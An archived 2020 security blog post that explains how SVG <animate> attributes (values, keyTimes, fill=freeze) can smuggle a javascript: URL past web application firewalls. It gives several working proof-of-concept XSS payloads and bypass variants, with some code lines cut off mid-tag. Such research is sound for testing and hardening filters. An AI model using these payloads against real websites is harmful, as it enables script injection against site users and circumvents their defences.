# XSS fun with animated SVG

**XSS fun with animated SVG** - @phaldrzynski, Paweł Hałdrzyński, blog.isec.pl.

- Published: 2020-04-14
- Original: <https://blog.isec.pl/xss-fun-with-animated-svg/>
- Preserved from: https://blog.isec.pl/xss-fun-with-animated-svg/ (live) on 2026-08-09
- Licence: unknown



## Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Recently I have read about a neat idea of bypassing WAF by inserting a JavaScript URL in the middle of the *values *attribute of the <animate> tag. Most of WAFs can easily extract attributes' values and then detect malicious payloads inside them – for example: *`javascript:alert(1)`. The research is based on the fact that the `values` attribute may contain multiple values – each separated by a semicolon. As each separated value is treated by an *animate* tag individually we may mislead the WAF by smuggling our malicious `javascript:alert(1)` as a middle (or last) argument of the `values` attribute, e.g.:

```
<animate values="http://safe-url/?;javascript:alert(1);C">
```

This way some WAFs might be confused and treat the above attribute's value as a safe URL.

The author of this research presented a perfectly working XSS attack vector:

```
<svg><animate xlink:href=#xss attributeName=href dur=5s repeatCount=indefinite keytimes=0;0;1 values="https://saf
```

In the following paragraphs I'll examine different variations of the above approach. Each example contain user-interaction XSS. To pop-up an alert, insert the example code snippets into .html file and click on the 'XSS' text.

**Let's make it shorter**

Before we begin we need to understand the relation between `values` and *`keyTimes` *attributes.

Let's take a peek at the documentation to understand what's really going on with `keyTimes`:

> *A semicolon-separated list of time values used to control the pacing of the animation. Each time in the list corresponds to a value in the 'values' attribute list, and defines when the value is used in the animation function.*

*Each time value in the 'keyTimes' list is specified as a floating point value between 0 and 1 (inclusive), representing a proportional offset into the simple duration of the animation element.*

*(...)*

*For linear and spline animation, the first time value in the list must be 0, and the last time value in the list must be 1. The key time associated with each value defines when the value is set; values are interpolated between the key times.*

To better understand its behavior we will create an animation of a sliding circle:

```
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
 <circle cx="10" cy="10" r="10">
  <animate attributeName="cx" dur=5s repeatCount=indefinite
    values="0 ; 80 ; 120  " keyTimes="0; 0.5; 1"/>

 </circle>
</svg>
```

In the above example two animations occur. The circle slides from 0 to 80 and then from 80 to 120. The more we decrease the middle `keyTimes` attribute (the former value is set to 0.5), the faster the first part of the animation is. When the value, however, is decreased down to 0, the first part of the animation is omitted and the circle starts sliding from 80 to 120. This is exactly what we need:

```
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
 <circle cx="10" cy="10" r="10">
  <animate attributeName="cx" dur=5s repeatCount=indefinite
    values="0 ; 80 ; 120  " keyTimes="0; 0; 1"/>

 </circle>
</svg>
```

We want to make sure that the second part of the animation is always shown (while the first is always omitted). To make that happen two additional attributes are set:

`repeatCount = indefinite` *– which tells the animation to keep going, * `dur = 5s` – duration time (any value will suffice).

Let us have a quick peek then into the documentation and notice that these two attributes are redundant:

> *If the animation does not have a 'dur' attribute, the simple duration is indefinite.*

Instead of indefinitely repeating a 5s animation, we may create an indefinite animation with no repeats. This way we can get rid of a `dur` *attribute (by default it's set to indefinite value) and we may remove * `repeatCount` afterwards.

The very exact idea works for XSS attack vector:

> values="https://safe-url?;javascript:alert(1);0"

keytimes=0;0;1

The first animation won't occur (so *href* attribute won't be set to *https://safe-url*), whereas the second one will (*href* will point to *javascript:alert(1)* and it will remain there indefinitely). This way we may shrink the initial XSS attack vector as below:

```
<svg><animate xlink:href=#xss attributeName=href keyTimes=0;0;1 values="http://isec.pl;javascript:alert(1);X" /><a id=
```

### Freeze the keyTimes

It turns out that *keyTimes* is not the only attribute which allows us to use a non-first value from the *values* attribute list. As we want to smuggle our *javascript:alert(1)* anywhere but not at the beginning, the most obvious solution is to put it at the end.

The SVG standard defines an attribute *fill*. It specifies that the final state of the animation is either the first or the last frame. Let's move back to our sliding circle example to yet better understand how it works.

```
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
 <circle cx="10" cy="10" r="10">
  <animate attributeName="cx" dur=5s values="0 ; 80 " fill=remove />
 </circle>
</svg>
```

If attribute *fill* is set to 'remove', upon the end of the animation it moves back to the first frame. The circle slides from 0 to 80 and then moves back to 0 position.

```
<svg viewBox="0 0 120 25" xmlns="http://www.w3.org/2000/svg">
 <circle cx="10" cy="10" r="10">
  <animate attributeName="cx" dur=5s values="0 ; 80 " fill=freeze />
 </circle>
</svg>
```

If attribute *fill* is set to 'freeze' the animation keeps the state of the last animation frame. The circle slides from 0 to 80 and it stays where it finished the animation – at 80. This way we can put our *javascript:alert(1)* as the last element and make sure that it is always displayed when animation finishes.

This solution is kind of tricky. Before we hit the last element we need to go through the first one. We cannot just omit it as we did with *keyTimes*; we can, however, make this first animation frame almost negligible to a human eye by setting a duration of the animation to a very short value, e.g.: 1ms.

When animation starts *href* attribute will be set to `http://isec.pl` for just 1 millisecond, and then it will remain on `javascript:alert(1)`.

```
<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a i
```

### Other WAF-bypassing tricks

The main trick to confuse a WAF is to insert malicious * `javascript:alert(1)` *vector as a valid part of a URL. Although values must be separated by a semicolon we are able to easily form a valid URL in which we smuggle our * `javascript:alert(1)` *vector:

`values="http://isec.pl/?a=a;javascript:alert(1)"` – as a parameter value

`values="http://isec.pl/?a[;javascript:alert(1)//]=test"` – as a parameter name

`values="http://isec.pl/?a=a#;javascript:alert(1)"` – as a fragment of a hash

`values="http://;javascript:alert(1);@isec.pl"` – as Basic Auth credentials (*keyTimes* variant)

Moreover, we are allowed to HTML-encode any character inside `values` attribute. This way we may deceive WAF rules even better.

```
<svg><animate xlink:href=#xss attributeName=href fill=freeze dur=1ms values="http://isec.pl;javascript:alert(1)" /><a i
```

As HTML-encoding comes in handy we may use extra behavior: some characters are allowed to occur before a `javascript:` protocol identifier. Every ASCII value from range 01–32 works. E.g.:

```
<svg><animate xlink:href=#xss attributeName=href  values="javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</tex
```

```
<svg><animate xlink:href=#xss attributeName=href  values="

 javascript:alert(1)" /><a id=xss><text x=20 y=20>XSS</text></a>
```

Even more quirky observation suggests that those values don't need to be HTML-encoded at all (as payload contains non-printable characters, it was base64-encoded for better readability):

```
PHN2Zz48YW5pbWF0ZSB4bGluazpocmVmPSN4c3MgYXR0cmlidXRlTmFtZT1ocmVmICB2YWx1ZXM9IgECAwQFBgcICQ0
```

### Summary

In this article, we discovered that SVG specification conceals a lots of potential XSS attack vectors. Even a simple attribute `values` may lead to multiple malicious payloads, which helps bypass WAFs. The presented vectors were tested on both Firefox and Chrome.